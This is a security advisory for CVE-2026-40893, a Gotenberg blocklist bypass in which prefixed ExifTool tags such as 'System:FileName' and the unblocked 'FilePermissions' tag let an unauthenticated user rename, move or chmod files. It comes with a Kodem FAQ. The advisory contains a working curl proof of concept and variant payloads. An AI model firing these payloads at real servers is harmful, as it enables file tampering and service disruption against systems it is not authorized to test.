CVE-2026-40893

Gotenberg blocks certain ExifTool tag names like FileName and Directory to stop attackers from renaming or moving files on the server. But ExifTool allows a longer form of the same tag, System:FileName, which does the exact same thing. Gotenberg only checks if the tag is exactly FileName, so System:FileName slips right through and ExifTool happily renames the file. No login is needed. One HTTP request is enough.

This bypasses the fix from GHSA-qmwh-9m9c-h36m.

Details

Think of it like a nightclub bouncer with a blocklist of banned names. The blocklist says "Block anyone named John." A person shows up and says "I'm Mr. John." The bouncer checks, "Mr. John" is not "John", so he lets them in. But inside the club, everyone knows Mr. John IS John.

That's exactly what happens here:

The blocklist (exiftool.go line 275-280) blocks these tag names:

FileName
Directory
HardLink
SymLink

The check (exiftool.go line 295-301) compares what the user sent against this list:

if strings.EqualFold(key, tag) {   // is "System:FileName" equal to "FileName"?
    delete(metadata, key)            // no, so it's NOT deleted
}

System:FileName is not equal to FileName (one is 16 characters, the other is 8), so it passes through.

But ExifTool treats them as the same thing. In ExifTool, System: is just a group prefix, like a folder name before the tag. System:FileName and FileName both mean "rename this file." The ExifTool docs say: "A tag name may include leading group names separated by colons."

Why the colon is allowed: The key validation regex (exiftool.go line 31) explicitly permits colons:

var safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\-_.:]+$`)
//                                                    ^ colon is allowed

So the full chain is:

1. Attacker sends System:FileName → passes the regex (colon is allowed)
2. System:FileName → passes the blocklist (it's not equal to FileName)
3. ExifTool receives System:FileName → treats it as FileName → renames the file

Bonus finding: The FilePermissions tag is not in the blocklist at all. Sending {"FilePermissions": "rwxrwxrwx"} tells ExifTool to chmod the file, and nothing stops it.

PoC

Setup, start Gotenberg with default settings:

docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8

Create a folder inside the container where we'll move the file to:

docker exec gotenberg-poc mkdir -p /tmp/evil

Send the attack, one curl command:

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F '[email protected]' \
  -F 'metadata={"System:FileName":"stolen.pdf","System:Directory":"/tmp/evil"}'

This returns HTTP 404 because the file got moved before the server could return it.

Check that the file actually moved:

docker exec gotenberg-poc ls -la /tmp/evil/

Result:

-rw-r--r-- 1 gotenberg gotenberg 17789 Apr 13 07:40 stolen.pdf

The file is sitting in /tmp/evil/stolen.pdf. It was renamed from its random UUID name to stolen.pdf and moved out of the temporary directory, exactly what the blocklist was supposed to prevent.

Proof that the existing blocklist works for bare names (control test):

curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \
  -F '[email protected]' \
  -F 'metadata={"FileName":"stolen.pdf","Directory":"/tmp/evil"}'

This returns HTTP 500, the bare FileName tag was correctly blocked. Only the System:FileName variant gets through.

Other ways to exploit the same bug:

• system:filename (lowercase), also works because ExifTool is case-insensitive
• system:directory, moves the file to any writable folder
• FilePermissions, changes the file's permissions (this tag is simply missing from the blocklist entirely)

Every endpoint that accepts the metadata field is affected, including /forms/chromium/convert/html, /forms/libreoffice/convert, /forms/pdfengines/merge, and all other conversion routes.

Any person who can send HTTP requests to Gotenberg (no login needed by default) can:

• Move files anywhere inside the container by using System:Directory
• Rename files to anything by using System:FileName
• Change file permissions by using FilePermissions (this tag is not blocked at all)
• Break the service for other users, when a file gets moved mid-request, the server returns 404 errors

In real-world deployments where Gotenberg shares a Docker volume with other services (which is common), an attacker can drop a PDF file with controlled content into that shared folder, potentially affecting whatever service reads files from there.

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

CVE-2026-40893 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2026-40893? CVE-2026-40893 is a high-severity improper input validation vulnerability in github.com/gotenberg/gotenberg/v8 (go), affecting versions <= 8.30.1. No fixed version is listed yet. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. How severe is CVE-2026-40893? CVE-2026-40893 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/gotenberg/gotenberg/v8 are affected by CVE-2026-40893? github.com/gotenberg/gotenberg/v8 (go) versions <= 8.30.1 is affected.
4. Is there a fix for CVE-2026-40893? No fixed version is listed for CVE-2026-40893 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-40893 exploitable, and should I be worried? Whether CVE-2026-40893 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-40893 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-40893? No fixed version is listed yet. In the interim: Validate all external input against an allowlist of expected values, types, and ranges before processing.